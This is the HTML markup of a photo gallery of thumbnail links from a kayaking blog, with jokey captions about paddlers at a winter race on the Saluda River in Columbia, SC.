<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8824/' title='img_8824'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8824-150x150.jpg" class="attachment-thumbnail" alt="Regan Squaring up for Eddy time" title="img_8824" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8825/' title='img_8825'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8825-150x150.jpg" class="attachment-thumbnail" alt="And enjoying some time in Dumbass" title="img_8825" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8826/' title='img_8826'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8826-150x150.jpg" class="attachment-thumbnail" alt="Still in control on his edge" title="img_8826" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8827/' title='img_8827'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8827-150x150.jpg" class="attachment-thumbnail" alt="Getting out of Dumbass is hard work.  You gotta come in on Saturdays" title="img_8827" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8828/' title='img_8828'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8828-150x150.jpg" class="attachment-thumbnail" alt="Her name is Aimee Norris and it says it right there" title="img_8828" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8829/' title='img_8829'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8829-150x150.jpg" class="attachment-thumbnail" alt="Who is this guy?" title="img_8829" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8830/' title='img_8830'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8830-150x150.jpg" class="attachment-thumbnail" alt="Oh, it&#039;s the Green Race Movie guy stuck in Dumbass" title="img_8830" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8831/' title='img_8831'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8831-150x150.jpg" class="attachment-thumbnail" alt="Oh, he got out" title="img_8831" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8832/' title='img_8832'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8832-150x150.jpg" class="attachment-thumbnail" alt="And then Andrew had to get in his picture too.  Trying to latch on to famous people aren&#039;t you Andrew?" title="img_8832" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8833/' title='img_8833'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8833-150x150.jpg" class="attachment-thumbnail" alt="&#039;Ello Gov&#039;na!" title="img_8833" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8835/' title='img_8835'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8835-150x150.jpg" class="attachment-thumbnail" alt="Spot of tea?" title="img_8835" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8836/' title='img_8836'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8836-150x150.jpg" class="attachment-thumbnail" alt="Naw, Snowy&#039;s a good guy.  Don&#039;t everyone go faulting him for his Welshness" title="img_8836" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8837/' title='img_8837'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8837-150x150.jpg" class="attachment-thumbnail" alt="Snowy tags the rock" title="img_8837" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8838/' title='img_8838'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8838-150x150.jpg" class="attachment-thumbnail" alt="I will catch the Square Eddy and it will be mine!" title="img_8838" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8839/' title='img_8839'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8839-150x150.jpg" class="attachment-thumbnail" alt="Dumbass has no power against me!" title="img_8839" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8840/' title='img_8840'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8840-150x150.jpg" class="attachment-thumbnail" alt="I paddle a red boat, take that!" title="img_8840" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8841/' title='img_8841'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8841-150x150.jpg" class="attachment-thumbnail" alt="This shot is all sideways and wacky looking" title="img_8841" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8842/' title='img_8842'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8842-150x150.jpg" class="attachment-thumbnail" alt="Competitors listen as Andy Grizzell preaches the good word" title="img_8842" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8843/' title='img_8843'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8843-150x150.jpg" class="attachment-thumbnail" alt="Dammit Andrew, always gettin&#039; in my pictures" title="img_8843" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8844/' title='img_8844'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8844-150x150.jpg" class="attachment-thumbnail" alt="Andy love him some bullhorn" title="img_8844" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8848/' title='img_8848'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8848-150x150.jpg" class="attachment-thumbnail" alt="Inner tubes actually carry more than just rednecks and beer coolers" title="img_8848" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8849/' title='img_8849'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8849-150x150.jpg" class="attachment-thumbnail" alt="Snowy was an olympic inner tube paddler" title="img_8849" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8850/' title='img_8850'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8850-150x150.jpg" class="attachment-thumbnail" alt="Corran Addisson designed that boat" title="img_8850" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8851/' title='img_8851'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8851-150x150.jpg" class="attachment-thumbnail" alt="Will my unborn fetus be able to flatwheel the Disco?" title="img_8851" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8852/' title='img_8852'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8852-150x150.jpg" class="attachment-thumbnail" alt="Hey everybody let&#039;s go swimming in freezing water!" title="img_8852" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8855/' title='img_8855'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8855-150x150.jpg" class="attachment-thumbnail" alt="Go put those tubes back where you got &#039;em" title="img_8855" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8856/' title='img_8856'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8856-150x150.jpg" class="attachment-thumbnail" alt="Iceman racers, led by you know who, hogging the photograph again" title="img_8856" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8857/' title='img_8857'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8857-150x150.jpg" class="attachment-thumbnail" alt="That is the toughest part of the race" title="img_8857" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8861/' title='img_8861'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8861-150x150.jpg" class="attachment-thumbnail" alt="Andrew leads followed closely by Gallaway" title="img_8861" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8862/' title='img_8862'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8862-150x150.jpg" class="attachment-thumbnail" alt="Iceman racers punch it through millrace" title="img_8862" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8863/' title='img_8863'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8863-150x150.jpg" class="attachment-thumbnail" alt="Down and back" title="img_8863" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8865/' title='img_8865'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8865-150x150.jpg" class="attachment-thumbnail" alt="Good idea" title="img_8865" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8866/' title='img_8866'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8866-150x150.jpg" class="attachment-thumbnail" alt="You can forget catching him at this point" title="img_8866" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8867/' title='img_8867'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8867-150x150.jpg" class="attachment-thumbnail" alt="Read the sign punks!" title="img_8867" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8869/' title='img_8869'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8869-150x150.jpg" class="attachment-thumbnail" alt="It&#039;s lonely out here on river right where it kind of smells like a sewage" title="img_8869" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8870/' title='img_8870'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8870-150x150.jpg" class="attachment-thumbnail" alt="Nice of you guys to join the race.  Who farted?" title="img_8870" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8871/' title='img_8871'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8871-150x150.jpg" class="attachment-thumbnail" alt="Well maybe we can get second since camera hog is a mile ahead" title="img_8871" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8873/' title='img_8873'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8873-150x150.jpg" class="attachment-thumbnail" alt="Andrew thought he would jump out 300 yards above where he was supposed to just to give everyone else a little bit of a chance, but not really." title="img_8873" /></a>
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